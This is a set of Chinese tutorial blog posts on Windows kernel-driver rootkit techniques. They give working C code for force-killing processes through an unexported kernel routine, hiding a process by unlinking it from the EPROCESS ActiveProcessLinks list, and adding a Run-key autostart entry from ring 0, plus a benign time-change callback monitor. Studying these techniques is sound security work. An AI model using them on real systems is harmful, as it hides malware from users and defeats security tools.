    编码实现强制结束指定进程// 强制结束指定进程NTSTATUS ForceKillProcess(HANDLE hProcessId){ PVOID pPspTerminateThreadByPointerAddress = NULL; PEPROCESS pEProcess = NULL; PETHREAD pEThread = NULL; PEPROCESS pThreadEProcess = NULL; NTSTATUS status = STATUS_SUCCESS; ULONG i = 0;#ifdef _WIN64 // 64 位 typedef NTSTATUS(__fastcall *PSPTERMINATETHREADBYPOINTER) (PETHREAD pEThread, NTSTATUS ntExitCode, BOOLEAN bDirectTerminate);#else // 32 位 typedef NTSTATUS(*PSPTERMINATETHREADBYPOINTER) (PETHREAD pEThread, NTSTATUS ntExitCode, BOOLEAN bDirectTerminate);#endif // 获取 PspTerminateThreadByPointer 函数地址 pPspTerminateThreadByPointerAddress = GetPspLoadImageNotifyRoutine(); if (NULL == pPspTerminateThreadByPointerAddress) { ShowError("GetPspLoadImageNotifyRoutine", 0); return FALSE; } // 获取结束进程的进程结构对象EPROCESS status = PsLookupProcessByProcessId(hProcessId, &pEProcess); if (!NT_SUCCESS(status)) { ShowError("PsLookupProcessByProcessId", status); return status; } // 遍历所有线程, 并结束所有指定进程的线程 for (i = 4; i < 0x80000; i = i + 4) { status = PsLookupThreadByThreadId((HANDLE)i, &pEThread); if (NT_SUCCESS(status)) { // 获取线程对应的进程结构对象 pThreadEProcess = PsGetThreadProcess(pEThread); // 结束指定进程的线程 if (pEProcess == pThreadEProcess) { ((PSPTERMINATETHREADBYPOINTER)pPspTerminateThreadByPointerAddress)(pEThread, 0, 1); DbgPrint("PspTerminateThreadByPointer Thread:%d\n", i); } // 凡是Lookup...,必需Dereference,否则在某些时候会造成蓝屏 ObDereferenceObject(pEThread); } } // 凡是Lookup...,必需Dereference,否则在某些时候会造成蓝屏 ObDereferenceObject(pEProcess); return status;}
    获取 PspTerminateThreadByPointer 函数地址// 获取 PspTerminateThreadByPointer 函数地址PVOID GetPspLoadImageNotifyRoutine(){ PVOID pPspTerminateThreadByPointerAddress = NULL; RTL_OSVERSIONINFOW osInfo = { 0 }; UCHAR pSpecialData[50] = { 0 }; ULONG ulSpecialDataSize = 0; // 获取系统版本信息, 判断系统版本 RtlGetVersion(&osInfo); if (6 == osInfo.dwMajorVersion) { if (1 == osInfo.dwMinorVersion) { // Win7#ifdef _WIN64 // 64 位 // E8 pSpecialData[0] = 0xE8; ulSpecialDataSize = 1;#else // 32 位 // E8 pSpecialData[0] = 0xE8; ulSpecialDataSize = 1;#endif } else if (2 == osInfo.dwMinorVersion) { // Win8#ifdef _WIN64 // 64 位#else // 32 位#endif } else if (3 == osInfo.dwMinorVersion) { // Win8.1#ifdef _WIN64 // 64 位 // E9 pSpecialData[0] = 0xE9; ulSpecialDataSize = 1;#else // 32 位 // E8 pSpecialData[0] = 0xE8; ulSpecialDataSize = 1;#endif } } else if (10 == osInfo.dwMajorVersion) { // Win10#ifdef _WIN64 // 64 位 // E9 pSpecialData[0] = 0xE9; ulSpecialDataSize = 1;#else // 32 位 // E8 pSpecialData[0] = 0xE8; ulSpecialDataSize = 1;#endif } // 根据特征码获取地址 pPspTerminateThreadByPointerAddress = SearchPspTerminateThreadByPointer(pSpecialData, ulSpecialDataSize); return pPspTerminateThreadByPointerAddress;}
    根据特征码获取 PspTerminateThreadByPointer 数组地址// 根据特征码获取 PspTerminateThreadByPointer 数组地址PVOID SearchPspTerminateThreadByPointer(PUCHAR pSpecialData, ULONG ulSpecialDataSize){ UNICODE_STRING ustrFuncName; PVOID pAddress = NULL; LONG lOffset = 0; PVOID pPsTerminateSystemThread = NULL; PVOID pPspTerminateThreadByPointer = NULL; // 先获取 PsTerminateSystemThread 函数地址 RtlInitUnicodeString(&ustrFuncName, L"PsTerminateSystemThread"); pPsTerminateSystemThread = MmGetSystemRoutineAddress(&ustrFuncName); if (NULL == pPsTerminateSystemThread) { ShowError("MmGetSystemRoutineAddress", 0); return pPspTerminateThreadByPointer; } // 然后, 查找 PspTerminateThreadByPointer 函数地址 pAddress = SearchMemory(pPsTerminateSystemThread, (PVOID)((PUCHAR)pPsTerminateSystemThread + 0xFF), pSpecialData, ulSpecialDataSize); if (NULL == pAddress) { ShowError("SearchMemory", 0); return pPspTerminateThreadByPointer; } // 先获取偏移, 再计算地址 lOffset = *(PLONG)pAddress; pPspTerminateThreadByPointer = (PVOID)((PUCHAR)pAddress + sizeof(LONG) + lOffset); return pPspTerminateThreadByPointer;}
    指定内存区域的特征码扫描// 指定内存区域的特征码扫描PVOID SearchMemory(PVOID pStartAddress, PVOID pEndAddress, PUCHAR pMemoryData, ULONG ulMemoryDataSize){ PVOID pAddress = NULL; PUCHAR i = NULL; ULONG m = 0; // 扫描内存 for (i = (PUCHAR)pStartAddress; i < (PUCHAR)pEndAddress; i++) { // 判断特征码 for (m = 0; m < ulMemoryDataSize; m++) { if (*(PUCHAR)(i + m) != pMemoryData[m]) { break; } } // 判断是否找到符合特征码的地址 if (m >= ulMemoryDataSize) { // 找到特征码位置, 获取紧接着特征码的下一地址 pAddress = (PVOID)(i + ulMemoryDataSize); break; } } return pAddress;}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win8.1 32 位系统下,驱动程序正常执行:

    在 Win10 32 位系统下,驱动程序正常执行:

    在 Win7 64 位系统下,驱动程序正常执行:

    在 Win8.1 64 位系统下,驱动程序正常执行:

    在 Win10 64 位系统下,驱动程序正常执行:

    总结这个程序的原理不难理解,关键是如何定位 PspTerminateThreadByPointer 未导出的内核函数在 PsTerminateSystemThread 函数中的位置,要在各个版本系统上进行逆向,以确定内存特征码。
    参考参考自《Windows黑客编程技术详解》一书
    1  留言 2019-02-23 21:08:06
  • 基于进程EPROCESS结构的ActiveProcessLists双向链表枚举进程及摘链隐藏进程

    背景本文要实现的这篇文章,是另一种进程遍历的实现思路。主要原理就是,进程结构 EPROCESS 中有一个指向进程链的双向链表。我们遍历这个进程双向链表,就可以把系统上所有的进程遍历出来。我们从中摘链,实现进程隐藏,不会影响被摘链进程的正常运行。现在,我就把实现思路和原理整理成文档,分享给大家。
    实现原理进程 EPROCESS 结构存储着进程一切信息,所以这个结构体很庞大,而且,不同系统, EPROCESS 结构定义也不相同,它里面的一些成员的偏移也不是固定一成不变的。
    可使用函数 PsGetCurrentProcess 获取当前进程结构 EPROCESS; PsGetProcessId 从 EPROCESS 结构中获取进程的 PID 信息;使用 PsGetProcessImageFileName 函数,从 ERPROCESS 结构中获取进程的名称信息。
    其中,EPROCESS 结构中的成员 ActiveProcessLinks 的数据类型是 LIST_ENTRY。它是一个进程活动双向链表,ActiveProcessLinks 的 Flink 成员指向下一个进程结构 EPROCESS 的 ActiveProcessLinks 成员的地址;ActiveProcessLinks 的 Blink 成员指向上一个进程结构 EPROCESS 的 ActiveProcessLinks 成员的地址。
    下面是使用 WinDbg 获取 Win10 64 位系统下的 EPROCESS 结构定义代码:
    lkd> dt _EPROCESSntdll!_EPROCESS +0x000 Pcb : _KPROCESS +0x2d8 ProcessLock : _EX_PUSH_LOCK +0x2e0 RundownProtect : _EX_RUNDOWN_REF +0x2e8 UniqueProcessId : Ptr64 Void +0x2f0 ActiveProcessLinks : _LIST_ENTRY +0x300 Flags2 : Uint4B … …(省略)
    当我们获取 ActiveProcessLinks 的地址的时候,我们可以根据 ActiveProcessLinks 在 EPROCESS 结构的偏移,计算出 EPROCESS 结构的地址。这样,我们就可以一直遍历下去,获取所有进程的信息。
    事实上内核函数 ZwQuerySystemInformation 对进程查询也是找到活动进程链表头,然后遍历活动进程链。最后把每一个EPROCESS中包含的基本信息返回(包括进程ID名字等)。这就给进程隐藏的实现,提供了理论支持。
    对于进程的隐藏,就是通过从 EPROCESS 结构中获取进程信息,判断该进程是否是要隐藏的进程,若是,则调用 RemoveEntryList 内核函数摘链,实现隐藏。所谓的摘链就是上一个 EPROCESS 结构成员 ActiveProcessLinks 的Flink 成员指向当前 EPROCESS 结构的下一个进程结构 EPROCESS 的 ActiveProcessLinks 成员的地址;当前 EPROCESS 结构的下一个进程结构 EPROCESS 成员 ActiveProcessLinks 的 Blink 指向当前 EPROCESS 结构的上一个 EPROCESS 结构的 ActiveProcessLinks 成员的地址。这样,当前的 EPROCESS 结构成员 ActiveProcessLinks 就没有链表指向,也就不能通过活动进程链遍历出来,于是便实现了指定进程的隐藏,而且这种隐藏方式并不影响被隐藏的进程正常运行。
    其中,我们需要确定的就是,不同系统上,ActiveProcessLinks 在 EPROCESS 结构中的偏移位置。我们使用 WinDbg 在不同的系统中进行内核调试,查看 EPROCESS 的定义,总结出在不同系统上,ActiveProcessLinks 在 EPROCESS 结构中的偏移:




    Win 7
    WIN 8.1
    WIN 10




    32 BITS
    0xB8
    0xB8
    0xB8


    64 BITS
    0x188
    0x2E8
    0x2F0



    编码实现枚举进程// 遍历进程BOOLEAN EnumProcess(){ PEPROCESS pFirstEProcess = NULL, pEProcess = NULL; ULONG ulOffset = 0; HANDLE hProcessId = NULL; PUCHAR pszProcessName = NULL; // 根据不同系统, 获取相应偏移大小 ulOffset = GetActiveProcessLinksOffset(); if (0 == ulOffset) { DbgPrint("GetActiveProcessLinksOffset Error!\n"); return FALSE; } // 获取当前进程结构对象 pFirstEProcess = PsGetCurrentProcess(); pEProcess = pFirstEProcess; // 开始遍历枚举进程 do { // 从 EPROCESS 获取进程 PID hProcessId = PsGetProcessId(pEProcess); // 从 EPROCESS 获取进程名称 pszProcessName = PsGetProcessImageFileName(pEProcess); // 显示 DbgPrint("[%d]%s\n", hProcessId, pszProcessName); // 根据偏移计算下一个进程的 EPROCESS pEProcess = (PEPROCESS)((PUCHAR)(((PLIST_ENTRY)((PUCHAR)pEProcess + ulOffset))->Flink) - ulOffset); } while (pFirstEProcess != pEProcess); return TRUE;}
    隐藏指定进程// 隐藏指定进程BOOLEAN HideProcess(PUCHAR pszHideProcessName){ PEPROCESS pFirstEProcess = NULL, pEProcess = NULL; ULONG ulOffset = 0; HANDLE hProcessId = NULL; PUCHAR pszProcessName = NULL; // 根据不同系统, 获取相应偏移大小 ulOffset = GetActiveProcessLinksOffset(); if (0 == ulOffset) { DbgPrint("GetActiveProcessLinksOffset Error!\n"); return FALSE; } // 获取当前进程结构对象 pFirstEProcess = PsGetCurrentProcess(); pEProcess = pFirstEProcess; // 开始遍历枚举进程 do { // 从 EPROCESS 获取进程 PID hProcessId = PsGetProcessId(pEProcess); // 从 EPROCESS 获取进程名称 pszProcessName = PsGetProcessImageFileName(pEProcess); // 隐藏指定进程 if (0 == _stricmp(pszProcessName, pszHideProcessName)) { // 摘链 RemoveEntryList((PLIST_ENTRY)((PUCHAR)pEProcess + ulOffset)); // 显示 DbgPrint("[Hide Process][%d][%s]\n", hProcessId, pszProcessName); break; } // 根据偏移计算下一个进程的 EPROCESS pEProcess = (PEPROCESS)((PUCHAR)(((PLIST_ENTRY)((PUCHAR)pEProcess + ulOffset))->Flink) - ulOffset); } while (pFirstEProcess != pEProcess); return TRUE;}
    根据系统版本获取偏移大小// 根据不同系统, 获取相应偏移大小ULONG GetActiveProcessLinksOffset(){ ULONG ulOffset = 0; RTL_OSVERSIONINFOW osInfo = {0}; NTSTATUS status = STATUS_SUCCESS; // 获取系统版本信息 status = RtlGetVersion(&osInfo); if (!NT_SUCCESS(status)) { DbgPrint("RtlGetVersion Error[0x%X]\n", status); return ulOffset; } // 判断系统版本 switch (osInfo.dwMajorVersion) { case 6: { switch (osInfo.dwMinorVersion) { case 1: { // Win7#ifdef _WIN64 // 64 Bits ulOffset = 0x188;#else // 32 Bits ulOffset = 0x0B8;#endif break; } case 2: { // Win8#ifdef _WIN64 // 64 Bits#else // 32 Bits#endif break; } case 3: { // Win8.1#ifdef _WIN64 // 64 Bits ulOffset = 0x2E8;#else // 32 Bits ulOffset = 0x0B8;#endif break; } default: break; } break; } case 10: { // Win10#ifdef _WIN64 // 64 Bits ulOffset = 0x2F0;#else // 32 Bits ulOffset = 0x0B8;#endif break; } default: break; } return ulOffset;}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win10 64 位系统下,驱动程序正常执行:

    总结这个程序理解上不难,关键是要理解双向链表的思想。根据双向链表遍历进程,并从中摘链实现进程隐藏。
    其中,需要注意一点,在不同系统上,ActiveProcessLinks 在 EPROCESS 结构中的偏移位置并不是固定不变的。我们要学会使用 WinDbg 来帮助我们进行本地内核调试,获取更多系统上未给出定义的内核结构的定义。不过这样做,系统稳定性比较差。
    参考参考自《Windows黑客编程技术详解》一书
    1  留言 2019-02-22 12:52:53
  • ring0下更改注册表实现指定程序开机自启动

    背景其实,我们把内核程序成功启动起来,权限就不再是问题,几乎在系统上做任何操作都是易如反掌的。
    本文要实现的功能是在内核下修改注册表,设置指定用户层的程序开机自启动,这个给人的感觉就是“杀鸡用牛刀”。确实这样,这个功能是刚初学 Rootkit 开发的时候,自己想出来。当时在练习使用内核函数操作注册表,所以,自己就尝试着修改注册表,实现指定程序实现开机自启,加深自己对这部分知识的理解和印象。
    现在,我就把实现过程整理成文档,分享给大家。
    函数介绍InitializeObjectAttributes 函数
    InitializeObjectAttributes宏初始化不透明OBJECT_ATTRIBUTES结构,该结构指定了打开句柄的例程的对象句柄的属性。
    函数声明
    VOID InitializeObjectAttributes( [out] POBJECT_ATTRIBUTES InitializedAttributes, [in] PUNICODE_STRING ObjectName, [in] ULONG Attributes, [in] HANDLE RootDirectory, [in, optional] PSECURITY_DESCRIPTOR SecurityDescriptor);
    参数

    InitializedAttributes [out]指定要初始化的OBJECT_ATTRIBUTES结构。ObjectName [in]指向Unicode字符串的指针,该字符串包含要打开句柄的对象的名称。这必须是完全限定的对象名称,或者是由RootDirectory参数指定的对象目录的相对路径名。Attributes[in]指定一个或多个以下标志:OBJ_INHERIT该句柄可以由当前进程的子进程继承。OBJ_PERMANENT此标志仅适用于在对象管理器中命名的对象。默认情况下,当所有打开的句柄关闭时,这些对象将被删除。如果指定了此标志,则当所有打开的手柄都关闭时,该对象不会被删除。驱动程序可以使用ZwMakeTemporaryObject删除永久对象。OBJ_EXCLUSIVE此对象只能打开单个句柄。OBJ_CASE_INSENSITIVE如果指定了此标志,则在将ObjectName参数与现有对象的名称匹配时使用不区分大小写的比较。否则,使用默认系统设置比较对象名称。OBJ_OPENIF如果将此标志指定给创建对象的例程,并且该对象已经存在,则例程应该打开该对象。否则,创建对象的例程将返回STATUS_OBJECT_NAME_COLLISION的NTSTATUS代码。OBJ_KERNEL_HANDLE指定句柄只能在内核模式下访问。OBJ_FORCE_ACCESS_CHECK打开句柄的例程应强制执行对象的所有访问检查,即使在内核模式下打开句柄。RootDirectory [in]在ObjectName参数中指定的路径名的根对象目录的句柄。如果ObjectName是一个完全限定的对象名称,则RootDirectory为NULL。使用ZwCreateDirectoryObject获取对象目录的句柄。SecurityDescriptor [in]指定在对象创建时应用于安全描述符。此参数是可选的。驱动程序可以指定NULL来接受对象的默认安全性。
    返回值

    无返回值。

    ZwOpenKey 函数
    打开一个存在的注册表键。
    函数声明
    NTSTATUS ZwOpenKey( _Out_ PHANDLE KeyHandle, _In_ ACCESS_MASK DesiredAccess, _In_ POBJECT_ATTRIBUTES ObjectAttributes);
    参数

    KeyHandle [out]指向接收到该键的句柄的HANDLE变量的指针。DesiredAccess [in]指定一个ACCESS_MASK值,用于确定请求的对象访问。其中, KEY_ALL_ACCESS 则包括了所有的访问权限。ObjectAttributes [in]指向OBJECT_ATTRIBUTES结构的指针,指定对象名称和其他属性。 使用InitializeObjectAttributes初始化此结构。 如果调用者未在系统线程上下文中运行,则调用InitializeObjectAttributes时必须设置OBJ_KERNEL_HANDLE属性。
    返回值

    成功,则返回STATUS_SUCCESS否则,返回相应的NTSTATUS错误代码。

    ZwSetValueKey 函数
    创建或替换注册表键值。
    函数声明
    NTSTATUS ZwSetValueKey( _In_ HANDLE KeyHandle, _In_ PUNICODE_STRING ValueName, _In_opt_ ULONG TitleIndex, _In_ ULONG Type, _In_opt_ PVOID Data, _In_ ULONG DataSize);
    参数

    KeyHandle [in]处理注册表项以写入一个值条目。 该句柄是通过成功调用ZwCreateKey或ZwOpenKey创建的。ValueName [in]指向要写入数据的值条目的名称。 如果值条目没有名称,则此参数可以是空指针。 如果指定了名称字符串,并且给定的名称相对于其包含的键不是唯一的,则替换现有值条目的数据。TitleIndex [in]此参数保留。 设备和中间驱动程序应将此参数设置为 0。Type[in]要写入的数据类型。REG_BINARY 表示二进制数据;REG_DWORD 表示数据是一个 4 字节;REG_SZ 表示以 NULL 结尾的 Unicode 字符串;REG_EXPAND_SZ 表示以 NULL 结尾的 Unicode 字符串,包含对环境变量的未扩展引用,如 %PATH%。Data[in]指向包含值输入数据的调用者分配缓冲区。DataSize [in]指定数据缓冲区的大小(以字节为单位)。 如果Type为REG_XXX_SZ,则该值必须包含任何终止 0 的空格。
    返回值

    成功,则返回STATUS_SUCCESS否则,返回相应的NTSTATUS错误代码。

    实现原理我们在用户层上,实现程序开机自启动的常用做法就是,向系统开机自启动注册表 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 添加键值,写入程序路径。这样,系统开机后,就会运行指定程序路径中的程序,以此实现开机自启动。
    现在,我们把修改注册表的功能操作放到内核层下去实现。实现添加注册表键值的主要函数就是 ZwSetValueKey,那么实现具体流程如下:

    首先,我们使用 InitializeObjectAttributes 来初始化对象属性,包括注册表键路径以及其它属性等。在内核下,注册表的路径就表示为:
    \\Registry\\Machine\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
    然后,再调用 ZwOpenKey 函数按照上面函数介绍设置参数,这样,便会打开注册表键,获取注册表键句柄。
    接着,便可以调用 ZwSetValueKey 函数在指定的注册表键下创建或者替换键值。若键值名称已存在,则会替换;若键值不存在,则创建键值。
    最后,当不再使用注册表键句柄的时候,调用 ZwClose 函数关闭句柄,释放资源。

    其中,需要额外特别注意的是,在内核下,注册表项的路径名以 \Registry 开头,其中:

    根键 HKEY_LOCAL_MACHINE 表示为 \Registry\Machine;根键 HKEY_USERS 表示为 \Registry\User;
    而其它根键 HKEY_CLASSES_ROOT、HKEY_CURRENT_CONFIG 以及 HKEY_CURRENT_USER 等在内核没有对应的路径来表示。
    编码实现// 修改注册表实现开机自启动BOOLEAN Ring0AutoRun(PWCHAR pwszExeFilePath){ BOOLEAN bSet = FALSE; UNICODE_STRING ustrRegistry, ustrKeyValueName; ULONG ulDataSize = sizeof(WCHAR)*(1 + strlen(pwszExeFilePath)); RtlInitUnicodeString(&ustrRegistry, L"\\Registry\\Machine\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"); RtlInitUnicodeString(&ustrKeyValueName, L"MyRing0AutoRunTest"); // 添加或者修改注册表键值 bSet = MySetRegistryKeyValue(ustrRegistry, ustrKeyValueName, REG_SZ, pwszExeFilePath, ulDataSize); return bSet;}
    // 添加或者修改注册表键值BOOLEAN MySetRegistryKeyValue(UNICODE_STRING ustrRegistry, UNICODE_STRING ustrKeyValueName, ULONG ulKeyValueType, PVOID pKeyValueData, ULONG ulKeyValueDataSize){ HANDLE hRegister = NULL; OBJECT_ATTRIBUTES objectAttributes = { 0 }; NTSTATUS status = STATUS_SUCCESS; // 打开注册表键 InitializeObjectAttributes(&objectAttributes, &ustrRegistry, OBJ_CASE_INSENSITIVE, NULL, NULL); status = ZwOpenKey(&hRegister, KEY_ALL_ACCESS, &objectAttributes); if (!NT_SUCCESS(status)) { ShowError("ZwOpenKey", status); return FALSE; } // 添加或者修改键值 status = ZwSetValueKey(hRegister, &ustrKeyValueName, 0, ulKeyValueType, pKeyValueData, ulKeyValueDataSize); if (!NT_SUCCESS(status)) { ZwClose(hRegister); ShowError("ZwSetValueKey", status); return FALSE; } // 关闭注册表键句柄 ZwClose(hRegister); return TRUE;}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win10 64 位系统下,驱动程序正常执行:

    总结这个程序不难理解,关键是对 ZwSetValueKey 函数的理解和掌握。
    要注意的是,在内核下,注册表项的路径名以 \Registry 开头,其中:

    根键 HKEY_LOCAL_MACHINE 表示为 \Registry\Machine
    根键 HKEY_USERS 表示为 \Registry\User

    而其它根键 HKEY_CLASSES_ROOT、HKEY_CURRENT_CONFIG 以及 HKEY_CURRENT_USER 等在内核没有对应的路径来表示。
    参考参考自《Windows黑客编程技术详解》一书
    1  留言 2019-02-21 16:47:27
  • 基于ExRegisterCallback实现监控系统时间的修改

    背景Windows 在 64 位系统中有两个内核保护机制,PatchGuard 和 DSE(Driver Signature Enforcement)。PatchGuard 阻止 PATCH 内核,DSE 拦截加载未经过微软签名的驱动。而对于 32 位内核,则没有这两个限制。PatchGuard 技术,会检查以下内容有没有被恶意修改过:

    SSDT (System Service Descriptor Table)
    GDT (Global Descriptor Table)
    IDT (Interrupt Descriptor Table)
    System images (ntoskrnl.exe、ndis.sys、hal.dll)
    Processor MSRs (syscall)

    若被修改,则系统会出发蓝屏报错。而上述 PG 保护的内容,恰好是木马程序进程进行修改的内容,所以,通常在 32 位内核下可以做的操作,如:SSDT HOOK、GDT HOOK、IDT HOOK 等以 HOOK 内核 API 函数实现功能的方式,在 64 位均不能继续正常使用。
    但是有很多过滤操作,我们都可以通过 Windows 内核提供的内核函数去注册效应的系统回调去实现,不需要 HOOK 操作。本文将要讲的监控系统时间更改的实现,就是使用注册回调方式,而不是使用 HOOK 函数方式,所以,不会触发 PG。现在,我就把实现过程整理成文档,分享给大家。
    函数介绍ExCreateCallback 函数
    可以创建一个新的回调对象,也可以打开现有的回调对象。
    函数声明
    NTSTATUS ExCreateCallback( _Out_ PCALLBACK_OBJECT *CallbackObject, _In_ POBJECT_ATTRIBUTES ObjectAttributes, _In_ BOOLEAN Create, _In_ BOOLEAN AllowMultipleCallbacks);
    参数

    CallbackObject [out]指向接收回调对象的指针。如果ExCreateCallback调用成功,则例程将新创建或打开的回调对象的地址写入此位置。从该例程获取的回调对象指针可以作为参数提供给ExRegisterCallback或ExNotifyCallback例程。ObjectAttributes [in]指向包含回调对象属性的OBJECT_ATTRIBUTES结构的指针。此结构之前由InitializeObjectAttributes例程初始化。Create[in]是否创建回调对象。如果请求的对象无法打开,请设置为TRUE以创建新的回调对象。否则,设置为FALSE。AllowMultipleCallbacks [in]新创建的回调对象是否允许注册多个的回调例程。设置为TRUE以允许多个注册的回调例程。否则,设置为FALSE。当Create为FALSE或打开现有对象时,此参数将被忽略。
    返回值

    成功,则返回 STATUS_SUCCESS;否则,返回其它失败错误码 NTSTATUS。
    备注
    驱动程序调用ExCreateCallback创建一个新的回调对象或打开现有的回调对象。创建或打开对象后,其他组件可以调用ExRegisterCallback例程来使用回调对象注册回调例程。在调用ExCreateCallback之前,驱动程序必须调用InitializeObjectAttributes来初始化回调对象的OBJECT_ATTRIBUTES结构。不允许未命名的回调对象。调用者必须指定对象的名称;否则,调用以STATUS_UNSUCCESSFUL失败。调用者应该在回调对象中指定OBJ_PERMANENT属性,以防止在对象管理器注册之前对象被删除。调用者还应指定可能需要的任何其他属性,例如OBJ_CASE_INSENSITIVE。当使用回调对象完成所有操作时,驱动程序必须删除该对象以防止内存泄漏。有关删除使用OBJ_PERMANENT对象属性创建的对象的信息,请参阅ObDereferenceObject。下表显示了操作系统为驱动程序创建的回调对象。



    VALUE
    MEANING




    \Callback\SetSystemTime
    每当系统时间更改时,操作系统将调用为该对象注册的任何回调例程


    \Callback\PowerState
    只要某些系统电源特性发生变化,操作系统会调用该对象注册的任何回调例程。 当驱动程序注册回调通知(通过调用ExRegisterCallback)时,它可以指定应通知的更改




    ExRegisterCallback 函数
    使用给定的回调对象注册指定的回调例程。
    函数声明
    PVOID ExRegisterCallback( _Inout_ PCALLBACK_OBJECT CallbackObject, _In_ PCALLBACK_FUNCTION CallbackFunction, _In_opt_ PVOID CallbackContext);
    参数

    CallbackObject [in,out]指向从ExCreateCallback例程获取的回调对象的指针。
    CallbackFunction[in]指向驱动程序实现的回调例程的指针,必须是非分页的。 回调例程必须符合以下类型:
    VOID (*PCALLBACK_FUNCTION ) ( IN PVOID CallbackContext, IN PVOID Argument1, IN PVOID Argument2 );

    回调例程参数如下: CallbackContext 指向ExRegisterCallback的CallbackContext参数中指定的驱动程序提供的上下文区域的指针。 ARGUMENT1 指向由回调对象定义的参数的指针。 ARGUMENT2 指向由回调对象定义的参数的指针。
    CallbackContext [in,optional]每次调用时,指向要作为回调例程的上下文参数传递的数据项的调用者定义结构的指针。 通常,上下文是调用者设备对象扩展的一部分。

    返回值

    ExRegisterCallback返回一个指向回调注册句柄的指针,该句柄应该被保留供系统使用。 如果ExRegisterCallback出现错误,则该指针为NULL。
    备注

    ExRegisterCallback的调用者必须保存返回的指针以供以后在调用ExUnregisterCallback时使用。 从回调对象的已注册回调例程列表中删除回调例程时,需要该指针作为参数传入。

    实现原理和常用的一些设置系统回调方式不同,在调用 ExRegisterCallback 函数注册回调函数之前,我们必须先使用 ExCreateCallback 函数创建回调对象句柄。而且,在调用 ExCreateCallback 之前,驱动程序必须调用 InitializeObjectAttributes 来初始化回调对象的 OBJECT_ATTRIBUTES 结构,不允许创建未命名的回调对象。而且必须指定对象的名称,否则会创建失败。
    其中,系统为驱动程序创建了些回调对象,例如“\Callback\SetSystemTime”以及“\Callback\PowerState”。我们要实现的监控系统时间的变更,就是要对现有的回调对象“\Callback\SetSystemTime”进行操作,每当系统时间更改时,操作系统将调用为该对象注册的任何回调例程。
    那么,具体的实现流程如下:

    首先,我们调用 InitializeObjectAttributes 函数初始化对象属性,包括初始化系统回调对象名称“\Callback\SetSystemTime”,以及其他属性OBJ_CASE_INSENSITIVE等
    然后,调用 ExCreateCallback 根据属性对象打开系统回调对象并获取句柄。注意,要保留返回的系统回调对象句柄,因为我们删除回调的时候会用到
    接着,调用 ExRegisterCallback 函数,根据系统回调的句柄以及回调函数名称,注册一个系统回调,用来监控系统时间的变更。每当系统时间更改时,操作系统将调用为该对象注册的任何回调例程
    最后,调用 ObDereferenceObject 释放系统回调对象。当我们不再使用回调的时候,便调用 ExUnregisterCallback 函数,传入上述保留的系统回调对象的句柄,删除设置的回调

    编码实现设置回调// 设置回调函数NTSTATUS SetTimeNotifyRoutine(){ PCALLBACK_OBJECT pCallbackObject = NULL; OBJECT_ATTRIBUTES objectAttributes = { 0 }; UNICODE_STRING ustrCallbackName; // 打开回调类型 \\Callback\\SetSystemTime RtlInitUnicodeString(&ustrCallbackName, L"\\Callback\\SetSystemTime"); InitializeObjectAttributes(&objectAttributes, &ustrCallbackName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); NTSTATUS status = ExCreateCallback(&pCallbackObject, &objectAttributes, TRUE, FALSE); if (!NT_SUCCESS(status)) { ShowError("ExCreateCallback", status); return status; } // 注册回调函数 g_pCallbackRegistration = ExRegisterCallback(pCallbackObject, TimeNotifyRoutine, NULL); if (NULL == g_pCallbackRegistration) { ShowError("ExRegisterCallback", 0); return STATUS_UNSUCCESSFUL; } // 释放对象 ObDereferenceObject(pCallbackObject); return status;}
    回调函数// 回调函数VOID TimeNotifyRoutine( _In_opt_ PVOID CallbackContext, _In_opt_ PVOID Argument1, _In_opt_ PVOID Argument2){ // 获取当前进程, 即修改时间的进程 PEPROCESS pEProcess = PsGetCurrentProcess(); if (NULL != pEProcess) { // 从进程结构中获取进程名称 UCHAR *lpszProcessName = PsGetProcessImageFileName(pEProcess); if (NULL != lpszProcessName) { DbgPrint("Current Process[%s] ", lpszProcessName); } } // 此回调函数的 IRQL 为 2,大部分内核函数不能在里面使用!否则 BSOD DbgPrint("TIME CHANGE!!! Current IRQL[%d]\n", KeGetCurrentIrql());}
    删除回调// 删除回调函数NTSTATUS RemoveTimeNotifyRoutine(){ if (NULL != g_pCallbackRegistration) { ExUnregisterCallback(g_pCallbackRegistration); } return STATUS_SUCCESS;}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win10 64 位系统下,驱动程序正常执行:

    总结这个程序和通常设置系统回调的方式有一些区别,在注册系统回调之前,需要先打开系统回调对象,并获取系统回调对象的句柄。这个程序,不单单是可以用来打开 “\Callback\SetSystemTime” 系统回调对象,来实现系统时间变更的监控;也可以用来打开 “\Callback\PowerState” 系统回调对象,来实现监控系统电源的变化,例如关机操作等。
    要注意的是,回调函数中的 IRQL 为 2,所以,要注意内核函数的适用性。
    参考参考自《Windows黑客编程技术详解》一书
    1  留言 2019-02-20 19:08:21
  • 基于ObRegisterCallbacks实现的线程和进程监控及其保护

    背景要实现监控系统线程和进程,并实现对指定线程和进程的保护,在 32 位系统上可以使用 HOOK 技术,HOOK 相关的函数来实现。但是,到了 64 位平台上,就不能继续按常规的 HOOK 方法去实现了。
    好在 Windows 给我们提供了 ObRegisterCallbacks 内核函数来注册系统回调,可以用来注册系统线程回调,监控系统的线程创建、退出等情况,而且还能进行控制;也可以用来注册系统进程回调,可以监控系统的进程创建、退出等情况,而且也能进行控制。这使得我们实现保护指定线程、进程不被结束,提供了可能。
    现在,我就对程序的实现过程和原理进行整理,形成文档,分享给大家。
    函数介绍ObRegisterCallbacks 函数
    注册线程、进程和桌面句柄操作的回调函数。
    函数声明
    NTSTATUS ObRegisterCallbacks( _In_ POB_CALLBACK_REGISTRATION CallBackRegistration, _Out_ PVOID *RegistrationHandle);
    参数

    CallBackRegistration [in]指向指定回调例程列表和其他注册信息的OB_CALLBACK_REGISTRATION结构的指针。RegistrationHandle [out]指向变量的指针,该变量接收一个标识已注册的回调例程集合的值。 调用者将此值传递给ObUnRegisterCallbacks例程以注销该回调集。
    返回值

    成功,则返回 STATUS_SUCCESS,否则,返回其它 NTSTATUS 错误码。
    备注

    驱动程序必须在卸载之前注销所有回调例程。 您可以通过调用ObUnRegisterCallbacks例程来注销回调例程。

    OB_CALLBACK_REGISTRATION 结构体
